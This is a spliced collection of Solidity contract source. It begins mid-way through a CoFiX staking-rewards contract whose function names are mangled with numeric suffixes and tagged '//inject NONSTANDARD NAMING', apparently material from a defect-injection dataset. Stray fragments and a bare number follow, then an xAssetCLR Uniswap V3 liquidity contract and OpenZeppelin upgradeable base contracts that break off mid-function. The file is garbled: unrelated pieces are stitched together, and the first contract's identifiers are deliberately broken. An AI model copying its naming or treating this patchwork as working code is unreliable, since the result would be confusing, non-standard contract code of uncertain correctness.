ACCRUED168(); uint256 _rewardPerToken = rewardPerTokenStored.ADD864( _accrued.MUL988(1e18).DIV926(_totalSupply) ); return (_rewardPerToken, _accrued); } function REWARDRATE36() public virtual override view returns (uint256) { //inject NONSTANDARD NAMING return ICoFiXVaultForLP(REWARDSVAULT139()).CURRENTPOOLRATE277(address(this)); } function ACCRUED168() public virtual override view returns (uint256) { //inject NONSTANDARD NAMING // calc block rewards uint256 blockReward = LASTBLOCKREWARDAPPLICABLE573().SUB868(lastUpdateBlock).MUL988(REWARDRATE36()); // query pair trading rewards uint256 tradingReward = ICoFiXVaultForLP(REWARDSVAULT139()).GETPENDINGREWARDOFLP590(stakingToken); return blockReward.ADD864(tradingReward); } function EARNED893(address account) public override view returns (uint256) { //inject NONSTANDARD NAMING return _balances[account].MUL988(REWARDPERTOKEN122().SUB868(userRewardPerTokenPaid[account])).DIV926(1e18).ADD864(rewards[account]); } function STAKE225(uint256 amount) external override NONREENTRANT361 UPDATEREWARD178(msg.sender) { //inject NONSTANDARD NAMING require(amount > 0, "Cannot stake 0"); _totalSupply = _totalSupply.ADD864(amount); _balances[msg.sender] = _balances[msg.sender].ADD864(amount); TransferHelper.SAFETRANSFERFROM567(stakingToken, msg.sender, address(this), amount); emit STAKED268(msg.sender, amount); } function STAKEFOROTHER357(address other, uint256 amount) external override NONREENTRANT361 UPDATEREWARD178(other) { //inject NONSTANDARD NAMING require(amount > 0, "Cannot stake 0"); _totalSupply = _totalSupply.ADD864(amount); _balances[other] = _balances[other].ADD864(amount); TransferHelper.SAFETRANSFERFROM567(stakingToken, msg.sender, address(this), amount); emit STAKEDFOROTHER964(msg.sender, other, amount); } function WITHDRAW360(uint256 amount) public override NONREENTRANT361 UPDATEREWARD178(msg.sender) { //inject NONSTANDARD NAMING require(amount > 0, "Cannot withdraw 0"); _totalSupply = _totalSupply.SUB868(amount); _balances[msg.sender] = _balances[msg.sender].SUB868(amount); TransferHelper.SAFETRANSFER962(stakingToken, msg.sender, amount); emit WITHDRAWN805(msg.sender, amount); } // Withdraw without caring about rewards. EMERGENCY ONLY. function EMERGENCYWITHDRAW536() external override NONREENTRANT361 { //inject NONSTANDARD NAMING uint256 amount = _balances[msg.sender]; require(amount > 0, "Cannot withdraw 0"); _totalSupply = _totalSupply.SUB868(amount); _balances[msg.sender] = 0; rewards[msg.sender] = 0; TransferHelper.SAFETRANSFER962(stakingToken, msg.sender, amount); emit EMERGENCYWITHDRAW7(msg.sender, amount); } function GETREWARD438() public override NONREENTRANT361 UPDATEREWARD178(msg.sender) { //inject NONSTANDARD NAMING uint256 reward = rewards[msg.sender]; if (reward > 0) { rewards[msg.sender] = 0; // TransferHelper.safeTransfer(rewardsToken, msg.sender, reward); uint256 transferred = _SAFECOFITRANSFER191(msg.sender, reward); emit REWARDPAID501(msg.sender, transferred); } } // get CoFi rewards and staking into CoFiStakingRewards pool function GETREWARDANDSTAKE43() external override NONREENTRANT361 UPDATEREWARD178(msg.sender) { //inject NONSTANDARD NAMING uint256 reward = rewards[msg.sender]; if (reward > 0) { rewards[msg.sender] = 0; address cofiStakingPool = ICoFiXVaultForLP(REWARDSVAULT139()).GETCOFISTAKINGPOOL12(); // also work for VaultForCNode require(cofiStakingPool != address(0), "cofiStakingPool not set"); // approve to staking pool address _rewardsToken = rewardsToken; IERC20(_rewardsToken).APPROVE960(cofiStakingPool, reward); ICoFiStakingRewards(cofiStakingPool).STAKEFOROTHER357(msg.sender, reward); IERC20(_rewardsToken).APPROVE960(cofiStakingPool, 0); // ensure emit REWARDPAID501(msg.sender, reward); } } function EXIT912() external override { //inject NONSTANDARD NAMING WITHDRAW360(_balances[msg.sender]); GETREWARD438(); } // add reward from trading pool or anyone else function ADDREWARD881(uint256 amount) public override NONREENTRANT361 UPDATEREWARD178(address(0)) { //inject NONSTANDARD NAMING // transfer from caller (router contract) TransferHelper.SAFETRANSFERFROM567(rewardsToken, msg.sender, address(this), amount); // update rewardPerTokenStored rewardPerTokenStored = rewardPerTokenStored.ADD864(amount.MUL988(1e18).DIV926(_totalSupply)); emit REWARDADDED378(msg.sender, amount); } // Safe CoFi transfer function, just in case if rounding error or ending of mining causes pool to not have enough CoFis. function _SAFECOFITRANSFER191(address _to, uint256 _amount) internal returns (uint256) { //inject NONSTANDARD NAMING uint256 cofiBal = IERC20(rewardsToken).BALANCEOF980(address(this)); if (_amount > cofiBal) { _amount = cofiBal; } TransferHelper.SAFETRANSFER962(rewardsToken, _to, _amount); // allow zero amount return _amount; } modifier UPDATEREWARD178(address account) virtual { //inject NONSTANDARD NAMING // rewardPerTokenStored = rewardPerToken(); // uint256 newAccrued = accrued(); (uint256 newRewardPerToken, uint256 newAccrued) = _REWARDPERTOKENANDACCRUED426(); rewardPerTokenStored = newRewardPerToken; if (newAccrued > 0) { // distributeReward could fail if CoFiXVaultForLP is not minter of CoFi anymore // Should set reward rate to zero first, and then do a settlement of pool reward by call getReward ICoFiXVaultForLP(REWARDSVAULT139()).DISTRIBUTEREWARD70(address(this), newAccrued); } lastUpdateBlock = LASTBLOCKREWARDAPPLICABLE573(); if (account != address(0)) { rewards[account] = EARNED893(account); userRewardPerTokenPaid[account] = rewardPerTokenStored; } _; } event REWARDADDED378(address sender, uint256 reward); //inject NONSTANDARD NAMING event STAKED268(address indexed user, uint256 amount); //inject NONSTANDARD NAMING event STAKEDFOROTHER964(address indexed user, address indexed other, uint256 amount); //inject NONSTANDARD NAMING event WITHDRAWN805(address indexed user, uint256 amount); //inject NONSTANDARD NAMING event EMERGENCYWITHDRAW7(address indexed user, uint256 amount); //inject NONSTANDARD NAMING event REWARDPAID501(address indexed user, uint256 reward); //inject NONSTANDARD NAMING }
inject NONSTANDARD NAMING
function SETTRADEMININGSTATUS493(address token, bool status) external;
1,840,781
// SPDX-License-Identifier: BUSL-1.1 pragma solidity 0.7.6; pragma abicoder v2; import "@openzeppelin/contracts-upgradeable/proxy/Initializable.sol"; import "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/utils/PausableUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/token/ERC20/ERC20Upgradeable.sol"; import "@openzeppelin/contracts/math/SafeMath.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; import "./libraries/UniswapLibrary.sol"; import "./BlockLock.sol"; import "./interfaces/IxTokenManager.sol"; import "./interfaces/IxAsset.sol"; contract xAssetCLR is Initializable, ERC20Upgradeable, OwnableUpgradeable, PausableUpgradeable, BlockLock { using SafeMath for uint256; using SafeERC20 for IERC20; uint256 private constant SWAP_SLIPPAGE = 50; // 2% uint256 private constant MINT_BURN_SLIPPAGE = 100; // 1% // Used to give an identical token representation uint8 private constant TOKEN_DECIMAL_REPRESENTATION = 18; int24 tickLower; int24 tickUpper; // Prices calculated using above ticks from TickMath.getSqrtRatioAtTick() uint160 priceLower; uint160 priceUpper; int128 lastTwap; // Last stored oracle twap // Max current twap vs last twap deviation percentage divisor (100 = 1%) uint256 maxTwapDeviationDivisor; IERC20 token0; IERC20 token1; uint256 public tokenId; // token id representing this uniswap position uint256 public token0DecimalMultiplier; // 10 ** (18 - token0 decimals) uint256 public token1DecimalMultiplier; // 10 ** (18 - token1 decimals) uint256 public tokenDiffDecimalMultiplier; // 10 ** (token0 decimals - token1 decimals) uint24 public poolFee; uint8 public token0Decimals; uint8 public token1Decimals; UniswapContracts public uniContracts; IxTokenManager xTokenManager; // xToken manager contract uint32 twapPeriod; struct UniswapContracts { address pool; address router; address quoter; address positionManager; } event Rebalance(); event FeeCollected(uint256 token0Fee, uint256 token1Fee); function initialize( string memory _symbol, int24 _tickLower, int24 _tickUpper, IERC20 _token0, IERC20 _token1, UniswapContracts memory contracts, address _xTokenManagerAddress, uint256 _maxTwapDeviationDivisor, uint8 _token0Decimals, uint8 _token1Decimals ) external initializer { __Context_init_unchained(); __Ownable_init_unchained(); __Pausable_init_unchained(); __ERC20_init_unchained("xAssetCLR", _symbol); tickLower = _tickLower; tickUpper = _tickUpper; priceLower = UniswapLibrary.getSqrtRatio(_tickLower); priceUpper = UniswapLibrary.getSqrtRatio(_tickUpper); token0 = _token0; token1 = _token1; token0Decimals = _token0Decimals; token1Decimals = _token1Decimals; token0DecimalMultiplier = 10**(TOKEN_DECIMAL_REPRESENTATION - token0Decimals); token1DecimalMultiplier = 10**(TOKEN_DECIMAL_REPRESENTATION - token1Decimals); tokenDiffDecimalMultiplier = 10**((UniswapLibrary.subAbs(token0Decimals, token1Decimals))); maxTwapDeviationDivisor = _maxTwapDeviationDivisor; poolFee = 3000; uniContracts = contracts; token0.safeIncreaseAllowance(uniContracts.router, type(uint256).max); token1.safeIncreaseAllowance(uniContracts.router, type(uint256).max); token0.safeIncreaseAllowance( uniContracts.positionManager, type(uint256).max ); token1.safeIncreaseAllowance( uniContracts.positionManager, type(uint256).max ); UniswapLibrary.approveOneInch(token0, token1); xTokenManager = IxTokenManager(_xTokenManagerAddress); lastTwap = getAsset0Price(); twapPeriod = 3600; } /* ========================================================================================= */ /* User-facing */ /* ========================================================================================= */ /** * @dev Mint xAssetCLR tokens by sending *amount* of *inputAsset* tokens * @dev amount of the other asset is auto-calculated */ function mint(uint8 inputAsset, uint256 amount) external notLocked(msg.sender) whenNotPaused() { require(amount > 0); lock(msg.sender); checkTwap(); (uint256 amount0, uint256 amount1) = calculateAmountsMintedSingleToken(inputAsset, amount); // Check if address has enough balance uint256 token0Balance = token0.balanceOf(msg.sender); uint256 token1Balance = token1.balanceOf(msg.sender); if (amount0 > token0Balance || amount1 > token1Balance) { amount0 = amount0 > token0Balance ? token0Balance : amount0; amount1 = amount1 > token1Balance ? token1Balance : amount1; (amount0, amount1) = calculatePoolMintedAmounts(amount0, amount1); } token0.safeTransferFrom(msg.sender, address(this), amount0); token1.safeTransferFrom(msg.sender, address(this), amount1); uint128 liquidityAmount = getLiquidityForAmounts(amount0, amount1); _mintInternal(liquidityAmount); // stake tokens in pool _stake(amount0, amount1); } /** * @dev Burn *amount* of xAssetCLR tokens to receive proportional * amount of pool tokens */ function burn(uint256 amount) external notLocked(msg.sender) { require(amount > 0); lock(msg.sender); checkTwap(); uint256 totalLiquidity = getTotalLiquidity(); uint256 proRataBalance = amount.mul(totalLiquidity).div(totalSupply()); super._burn(msg.sender, amount); (uint256 amount0, uint256 amount1) = getAmountsForLiquidity(uint128(proRataBalance)); uint256 unstakeAmount0 = amount0.add(amount0.div(MINT_BURN_SLIPPAGE)); uint256 unstakeAmount1 = amount1.add(amount1.div(MINT_BURN_SLIPPAGE)); _unstake(unstakeAmount0, unstakeAmount1); token0.safeTransfer(msg.sender, amount0); token1.safeTransfer(msg.sender, amount1); } function transfer(address recipient, uint256 amount) public override notLocked(msg.sender) returns (bool) { return super.transfer(recipient, amount); } function transferFrom( address sender, address recipient, uint256 amount ) public override notLocked(sender) returns (bool) { return super.transferFrom(sender, recipient, amount); } /** * @notice Get Net Asset Value in terms of token 1 * @dev NAV = token 0 amt * token 0 price + token1 amt */ function getNav() public view returns (uint256) { return getStakedBalance().add(getBufferBalance()); } /** * @dev Returns amount in terms of asset 0 * @dev amount * asset 1 price */ function getAmountInAsset0Terms(uint256 amount) public view returns (uint256) { return UniswapLibrary.getAmountInAsset0Terms( amount, uniContracts.pool, twapPeriod, token0Decimals, token1Decimals, tokenDiffDecimalMultiplier ); } /** * @dev Returns amount in terms of asset 1 * @dev amount * asset 0 price */ function getAmountInAsset1Terms(uint256 amount) public view returns (uint256) { return UniswapLibrary.getAmountInAsset1Terms( amount, uniContracts.pool, twapPeriod, token0Decimals, token1Decimals, tokenDiffDecimalMultiplier ); } /** * @notice Get balance in xAssetCLR contract * @notice amount is represented in token 1 terms: * @dev token 0 amt * token 0 price + token1 amt */ function getBufferBalance() public view returns (uint256) { (uint256 balance0, uint256 balance1) = getBufferTokenBalance(); return getAmountInAsset1Terms(balance0).add(balance1); } /** * @notice Get total balance in the position * @notice amount is represented in token 1 terms: * @dev token 0 amt * token 0 price + token1 amt */ function getStakedBalance() public view returns (uint256) { (uint256 amount0, uint256 amount1) = getStakedTokenBalance(); return getAmountInAsset1Terms(amount0).add(amount1); } /** * @notice Get token balances in xAssetCLR contract * @dev returned balances are represented with 18 decimals */ function getBufferTokenBalance() public view returns (uint256 amount0, uint256 amount1) { return (getBufferToken0Balance(), getBufferToken1Balance()); } /** * @notice Get token0 balance in xAssetCLR * @dev returned balance is represented with 18 decimals */ function getBufferToken0Balance() public view returns (uint256 amount0) { return getToken0AmountInWei(token0.balanceOf(address(this))); } /** * @notice Get token1 balance in xAssetCLR * @dev returned balance is represented with 18 decimals */ function getBufferToken1Balance() public view returns (uint256 amount1) { return getToken1AmountInWei(token1.balanceOf(address(this))); } /** * @notice Get token balances in the position * @dev returned balance is represented with 18 decimals */ function getStakedTokenBalance() public view returns (uint256 amount0, uint256 amount1) { (amount0, amount1) = getAmountsForLiquidity(getPositionLiquidity()); amount0 = getToken0AmountInWei(amount0); amount1 = getToken1AmountInWei(amount1); } /** * @notice Get total liquidity * @dev buffer liquidity + position liquidity */ function getTotalLiquidity() public view returns (uint256 amount) { (uint256 buffer0, uint256 buffer1) = getBufferTokenBalance(); uint128 bufferLiquidity = getLiquidityForAmounts(buffer0, buffer1); uint128 positionLiquidity = getPositionLiquidity(); return uint256(bufferLiquidity).add(uint256(positionLiquidity)); } /** * @dev Check how much xAssetCLR tokens will be minted on mint * @dev Uses position liquidity to calculate the amount */ function calculateMintAmount(uint256 _amount, uint256 totalSupply) public view returns (uint256 mintAmount) { if (totalSupply == 0) return _amount; uint256 previousLiquidity = getTotalLiquidity().sub(_amount); mintAmount = (_amount).mul(totalSupply).div(previousLiquidity); return mintAmount; } /* ========================================================================================= */ /* Management */ /* ========================================================================================= */ /** * @dev Collect rewards from pool and stake them in position * @dev may leave unstaked tokens in contract */ function collectAndRestake() external onlyOwnerOrManager { (uint256 amount0, uint256 amount1) = collect(); (uint256 stakeAmount0, uint256 stakeAmount1) = calculatePoolMintedAmounts(amount0, amount1); _stake(stakeAmount0, stakeAmount1); } /** * @dev Collect fees generated from position */ function collect() public onlyOwnerOrManager returns (uint256 collected0, uint256 collected1) { (collected0, collected1) = collectPosition( type(uint128).max, type(uint128).max ); emit FeeCollected(collected0, collected1); } /** * @dev Migrate the current position to a new position with different ticks */ function migratePosition(int24 newTickLower, int24 newTickUpper) public onlyOwnerOrManager { require(newTickLower != tickLower || newTickUpper != tickUpper); // withdraw entire liquidity from the position (uint256 _amount0, uint256 _amount1) = withdrawAll(); // burn current position NFT UniswapLibrary.burn(uniContracts.positionManager, tokenId); // set new ticks and prices tickLower = newTickLower; tickUpper = newTickUpper; priceLower = UniswapLibrary.getSqrtRatio(newTickLower); priceUpper = UniswapLibrary.getSqrtRatio(newTickUpper); (uint256 amount0, uint256 amount1) = calculatePoolMintedAmounts(_amount0, _amount1); // mint the position NFT and deposit the liquidity // set new NFT token id tokenId = createPosition(amount0, amount1); } /** * @dev Migrate the current position to a new position with different ticks * @dev Migrates position tick lower and upper by same amount of ticks * @dev Tick spacing (minimum tick difference) in pool w/ 3000 fee is 60 * @param ticks how many ticks to shift up or down * @param up whether to move tick range up or down */ function migrateParallel(uint24 ticks, bool up) external onlyOwnerOrManager { require(ticks != 0); int24 newTickLower; int24 newTickUpper; int24 ticksToShift = int24(ticks) * 60; if (up) { newTickLower = tickLower + ticksToShift; newTickUpper = tickUpper + ticksToShift; } else { newTickLower = tickLower - ticksToShift; newTickUpper = tickUpper - ticksToShift; } migratePosition(newTickLower, newTickUpper); } /** * @dev Mint function which initializes the pool position * @dev Must be called before any liquidity can be deposited */ function mintInitial(uint256 amount0, uint256 amount1) external onlyOwnerOrManager { require(tokenId == 0); require(amount0 > 0 || amount1 > 0); checkTwap(); (uint256 amount0Minted, uint256 amount1Minted) = calculatePoolMintedAmounts(amount0, amount1); token0.safeTransferFrom(msg.sender, address(this), amount0Minted); token1.safeTransferFrom(msg.sender, address(this), amount1Minted); tokenId = createPosition(amount0Minted, amount1Minted); uint256 liquidity = uint256(getLiquidityForAmounts(amount0Minted, amount1Minted)); _mintInternal(liquidity); } /** * @dev Admin function to stake tokens * @dev used in case there's leftover tokens in the contract */ function adminRebalance() external onlyOwnerOrManager { UniswapLibrary.adminRebalance( UniswapLibrary.TokenDetails({ token0: address(token0), token1: address(token1), token0DecimalMultiplier: token0DecimalMultiplier, token1DecimalMultiplier: token1DecimalMultiplier, tokenDiffDecimalMultiplier: tokenDiffDecimalMultiplier, token0Decimals: token0Decimals, token1Decimals: token1Decimals }), UniswapLibrary.PositionDetails({ poolFee: poolFee, twapPeriod: twapPeriod, priceLower: priceLower, priceUpper: priceUpper, tokenId: tokenId, positionManager: uniContracts.positionManager, router: uniContracts.router, quoter: uniContracts.quoter, pool: uniContracts.pool }) ); emit Rebalance(); } /** * @dev Admin function for staking in position */ function adminStake(uint256 amount0, uint256 amount1) external onlyOwnerOrManager { (uint256 stakeAmount0, uint256 stakeAmount1) = calculatePoolMintedAmounts(amount0, amount1); _stake(stakeAmount0, stakeAmount1); } /** * @dev Admin function for unstaking from position */ function adminUnstake(uint256 amount0, uint256 amount1) external onlyOwnerOrManager { _unstake(amount0, amount1); } /** * @dev Admin function for swapping LP tokens in xAssetCLR * @param amount - swap amount (in t0 terms if _0for1 is true, in t1 terms if false) * @param _0for1 - swap token 0 for 1 if true, token 1 for 0 if false */ function adminSwap(uint256 amount, bool _0for1) external onlyOwnerOrManager { if (_0for1) { swapToken0ForToken1(amount.add(amount.div(SWAP_SLIPPAGE)), amount); } else { swapToken1ForToken0(amount.add(amount.div(SWAP_SLIPPAGE)), amount); } } /** * @dev Admin function for swapping LP tokens in xAssetCLR using 1inch v3 exchange * @param minReturn - how much output tokens to receive on swap, in 18 decimals * @param _0for1 - swap token 0 for token 1 if true, token 1 for token 0 if false * @param _oneInchData - 1inch calldata, generated off-chain using their v3 api */ function adminSwapOneInch( uint256 minReturn, bool _0for1, bytes memory _oneInchData ) external onlyOwnerOrManager { UniswapLibrary.oneInchSwap( minReturn, _0for1, UniswapLibrary.TokenDetails({ token0: address(token0), token1: address(token1), token0DecimalMultiplier: token0DecimalMultiplier, token1DecimalMultiplier: token1DecimalMultiplier, tokenDiffDecimalMultiplier: tokenDiffDecimalMultiplier, token0Decimals: token0Decimals, token1Decimals: token1Decimals }), _oneInchData ); } /** * @dev Stake liquidity in position */ function _stake(uint256 amount0, uint256 amount1) private returns (uint256 stakedAmount0, uint256 stakedAmount1) { return UniswapLibrary.stake( amount0, amount1, uniContracts.positionManager, tokenId ); } /** * @dev Unstake liquidity from position */ function _unstake(uint256 amount0, uint256 amount1) private returns (uint256 collected0, uint256 collected1) { uint128 liquidityAmount = getLiquidityForAmounts(amount0, amount1); (uint256 _amount0, uint256 _amount1) = unstakePosition(liquidityAmount); return collectPosition(uint128(_amount0), uint128(_amount1)); } /** * @dev Withdraws all current liquidity from the position */ function withdrawAll() private returns (uint256 _amount0, uint256 _amount1) { // Collect fees collect(); (_amount0, _amount1) = unstakePosition(getPositionLiquidity()); collectPosition(uint128(_amount0), uint128(_amount1)); } /** * @dev Creates the NFT token representing the pool position * @dev Mint initial liquidity */ function createPosition(uint256 amount0, uint256 amount1) private returns (uint256 _tokenId) { UniswapLibrary.TokenDetails memory tokenDetails = UniswapLibrary.TokenDetails({ token0: address(token0), token1: address(token1), token0DecimalMultiplier: token0DecimalMultiplier, token1DecimalMultiplier: token1DecimalMultiplier, tokenDiffDecimalMultiplier: tokenDiffDecimalMultiplier, token0Decimals: token0Decimals, token1Decimals: token1Decimals }); UniswapLibrary.PositionDetails memory positionDetails = UniswapLibrary.PositionDetails({ poolFee: poolFee, twapPeriod: twapPeriod, priceLower: priceLower, priceUpper: priceUpper, tokenId: tokenId, positionManager: uniContracts.positionManager, router: uniContracts.router, quoter: uniContracts.quoter, pool: uniContracts.pool }); return UniswapLibrary.createPosition( amount0, amount1, uniContracts.positionManager, tokenDetails, positionDetails ); } /** * @dev Unstakes a given amount of liquidity from the Uni V3 position * @param liquidity amount of liquidity to unstake * @return amount0 token0 amount unstaked * @return amount1 token1 amount unstaked */ function unstakePosition(uint128 liquidity) private returns (uint256 amount0, uint256 amount1) { UniswapLibrary.PositionDetails memory positionDetails = UniswapLibrary.PositionDetails({ poolFee: poolFee, twapPeriod: twapPeriod, priceLower: priceLower, priceUpper: priceUpper, tokenId: tokenId, positionManager: uniContracts.positionManager, router: uniContracts.router, quoter: uniContracts.quoter, pool: uniContracts.pool }); return UniswapLibrary.unstakePosition(liquidity, positionDetails); } function _mintInternal(uint256 _amount) private { uint256 mintAmount = calculateMintAmount(_amount, totalSupply()); return super._mint(msg.sender, mintAmount); } /* * Emergency function in case of errant transfer * of any token directly to contract */ function withdrawToken(address token, address receiver) external onlyOwnerOrManager { require(token != address(token0) && token != address(token1)); uint256 tokenBal = IERC20(address(token)).balanceOf(address(this)); IERC20(address(token)).safeTransfer(receiver, tokenBal); } /** * Mint xAsset tokens using underlying * xAsset contract needs to be approved * @param amount amount to mint * @param isToken0 if true, call mint on token0, else on token1 */ function adminMint(uint256 amount, bool isToken0) external onlyOwnerOrManager { if(isToken0) { IxAsset(address(token0)).mintWithToken(amount); } else { IxAsset(address(token1)).mintWithToken(amount); } } /** * Burn xAsset tokens using underlying * @param amount amount to burn * @param isToken0 if true, call burn on token0, else on token1 */ function adminBurn(uint256 amount, bool isToken0) external onlyOwnerOrManager { if(isToken0) { IxAsset(address(token0)).burn(amount, false, 1); } else { IxAsset(address(token1)).burn(amount, false, 1); } } /** * Approve underlying token to xAsset tokens * @param isToken0 if token 0 is xAsset token, set to true, otherwise false */ function adminApprove(bool isToken0) external onlyOwnerOrManager { if(isToken0) { token1.safeApprove(address(token0), type(uint256).max); } else { token0.safeApprove(address(token1), type(uint256).max); } } function pauseContract() external onlyOwnerOrManager returns (bool) { _pause(); return true; } function unpauseContract() external onlyOwnerOrManager returns (bool) { _unpause(); return true; } modifier onlyOwnerOrManager { require( msg.sender == owner() || xTokenManager.isManager(msg.sender, address(this)), "Function may be called only by owner or manager" ); _; } /* ========================================================================================= */ /* Uniswap helpers */ /* ========================================================================================= */ /** * @dev Swap token 0 for token 1 in xAssetCLR using Uni V3 Pool * @dev amounts should be in 18 decimals * @param amountIn - amount as maximum input for swap, in token 0 terms * @param amountOut - amount as output for swap, in token 0 terms */ function swapToken0ForToken1(uint256 amountIn, uint256 amountOut) private { UniswapLibrary.swapToken0ForToken1( amountIn, amountOut, UniswapLibrary.PositionDetails({ poolFee: poolFee, twapPeriod: twapPeriod, priceLower: priceLower, priceUpper: priceUpper, tokenId: tokenId, positionManager: uniContracts.positionManager, router: uniContracts.router, quoter: uniContracts.quoter, pool: uniContracts.pool }), UniswapLibrary.TokenDetails({ token0: address(token0), token1: address(token1), token0DecimalMultiplier: token0DecimalMultiplier, token1DecimalMultiplier: token1DecimalMultiplier, tokenDiffDecimalMultiplier: tokenDiffDecimalMultiplier, token0Decimals: token0Decimals, token1Decimals: token1Decimals }) ); } /** * @dev Swap token 1 for token 0 in xAssetCLR using Uni V3 Pool * @dev amounts should be in 18 decimals * @param amountIn - amount as maximum input for swap, in token 1 terms * @param amountOut - amount as output for swap, in token 1 terms */ function swapToken1ForToken0(uint256 amountIn, uint256 amountOut) private { UniswapLibrary.swapToken1ForToken0( amountIn, amountOut, UniswapLibrary.PositionDetails({ poolFee: poolFee, twapPeriod: twapPeriod, priceLower: priceLower, priceUpper: priceUpper, tokenId: tokenId, positionManager: uniContracts.positionManager, router: uniContracts.router, quoter: uniContracts.quoter, pool: uniContracts.pool }), UniswapLibrary.TokenDetails({ token0: address(token0), token1: address(token1), token0DecimalMultiplier: token0DecimalMultiplier, token1DecimalMultiplier: token1DecimalMultiplier, tokenDiffDecimalMultiplier: tokenDiffDecimalMultiplier, token0Decimals: token0Decimals, token1Decimals: token1Decimals }) ); } /** * @dev Collect token amounts from pool position */ function collectPosition(uint128 amount0, uint128 amount1) private returns (uint256 collected0, uint256 collected1) { return UniswapLibrary.collectPosition( amount0, amount1, tokenId, uniContracts.positionManager ); } /** * @dev Change pool fee and address */ function changePool(address _poolAddress, uint24 _poolFee) external onlyOwnerOrManager { uniContracts.pool = _poolAddress; poolFee = _poolFee; } // Returns the current liquidity in the position function getPositionLiquidity() public view returns (uint128 liquidity) { return UniswapLibrary.getPositionLiquidity( uniContracts.positionManager, tokenId ); } /** * @dev Get asset 0 twap * @dev Uses Uni V3 oracle, reading the TWAP from twap period * @dev or the earliest oracle observation time if twap period is not set */ function getAsset0Price() public view returns (int128) { return UniswapLibrary.getAsset0Price( uniContracts.pool, twapPeriod, token0Decimals, token1Decimals, tokenDiffDecimalMultiplier ); } /** * @dev Get asset 1 twap * @dev Uses Uni V3 oracle, reading the TWAP from twap period * @dev or the earliest oracle observation time if twap period is not set */ function getAsset1Price() public view returns (int128) { return UniswapLibrary.getAsset1Price( uniContracts.pool, twapPeriod, token0Decimals, token1Decimals, tokenDiffDecimalMultiplier ); } /** * @dev Checks if twap deviates too much from the previous twap */ function checkTwap() private { lastTwap = UniswapLibrary.checkTwap( uniContracts.pool, twapPeriod, token0Decimals, token1Decimals, tokenDiffDecimalMultiplier, lastTwap, maxTwapDeviationDivisor ); } /** * @dev Reset last twap if oracle price is consistently above the max deviation */ function resetTwap() external onlyOwnerOrManager { lastTwap = getAsset0Price(); } /** * @dev Set the max twap deviation divisor * @dev if twap moves more than the divisor specified * @dev mint, burn and mintInitial functions are locked */ function setMaxTwapDeviationDivisor(uint256 newDeviationDivisor) external onlyOwnerOrManager { maxTwapDeviationDivisor = newDeviationDivisor; } /** * @dev Set the oracle reading twap period * @dev Twap used is [now - twapPeriod, now] */ function setTwapPeriod(uint32 newPeriod) external onlyOwnerOrManager { require(newPeriod >= 360); twapPeriod = newPeriod; } /** * @dev Calculates the amounts deposited/withdrawn from the pool * amount0, amount1 - amounts to deposit/withdraw * amount0Minted, amount1Minted - actual amounts which can be deposited */ function calculatePoolMintedAmounts(uint256 amount0, uint256 amount1) public view returns (uint256 amount0Minted, uint256 amount1Minted) { uint128 liquidityAmount = getLiquidityForAmounts(amount0, amount1); (amount0Minted, amount1Minted) = getAmountsForLiquidity( liquidityAmount ); } /** * @dev Calculates single-side minted amount * @param inputAsset - use token0 if 0, token1 else * @param amount - amount to deposit/withdraw */ function calculateAmountsMintedSingleToken(uint8 inputAsset, uint256 amount) public view returns (uint256 amount0Minted, uint256 amount1Minted) { uint128 liquidityAmount; if (inputAsset == 0) { liquidityAmount = getLiquidityForAmounts(amount, type(uint112).max); } else { liquidityAmount = getLiquidityForAmounts(type(uint112).max, amount); } (amount0Minted, amount1Minted) = getAmountsForLiquidity( liquidityAmount ); } function getLiquidityForAmounts(uint256 amount0, uint256 amount1) public view returns (uint128 liquidity) { liquidity = UniswapLibrary.getLiquidityForAmounts( amount0, amount1, priceLower, priceUpper, uniContracts.pool ); } function getAmountsForLiquidity(uint128 liquidity) public view returns (uint256 amount0, uint256 amount1) { (amount0, amount1) = UniswapLibrary.getAmountsForLiquidity( liquidity, priceLower, priceUpper, uniContracts.pool ); } /** * @dev Get lower and upper ticks of the pool position */ function getTicks() external view returns (int24 tick0, int24 tick1) { return (tickLower, tickUpper); } /** * Returns token0 amount in TOKEN_DECIMAL_REPRESENTATION */ function getToken0AmountInWei(uint256 amount) private view returns (uint256) { return UniswapLibrary.getToken0AmountInWei( amount, token0Decimals, token0DecimalMultiplier ); } /** * Returns token1 amount in TOKEN_DECIMAL_REPRESENTATION */ function getToken1AmountInWei(uint256 amount) private view returns (uint256) { return UniswapLibrary.getToken1AmountInWei( amount, token1Decimals, token1DecimalMultiplier ); } } // SPDX-License-Identifier: MIT // solhint-disable-next-line compiler-version pragma solidity >=0.4.24 <0.8.0; import "../utils/AddressUpgradeable.sol"; /** * @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed * behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an * external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer * function so it can only be called once. The {initializer} modifier provided by this contract will have this effect. * * TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as * possible by providing the encoded function call as the `_data` argument to {UpgradeableProxy-constructor}. * * CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure * that all initializers are idempotent. This is not verified automatically as constructors are by Solidity. */ abstract contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private _initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private _initializing; /** * @dev Modifier to protect an initializer function from being invoked twice. */ modifier initializer() { require(_initializing || _isConstructor() || !_initialized, "Initializable: contract is already initialized"); bool isTopLevelCall = !_initializing; if (isTopLevelCall) { _initializing = true; _initialized = true; } _; if (isTopLevelCall) { _initializing = false; } } /// @dev Returns true if and only if the function is running in the constructor function _isConstructor() private view returns (bool) { return !AddressUpgradeable.isContract(address(this)); } } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; import "../utils/ContextUpgradeable.sol"; import "../proxy/Initializable.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract OwnableUpgradeable is Initializable, ContextUpgradeable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ function __Ownable_init() internal initializer { __Context_init_unchained(); 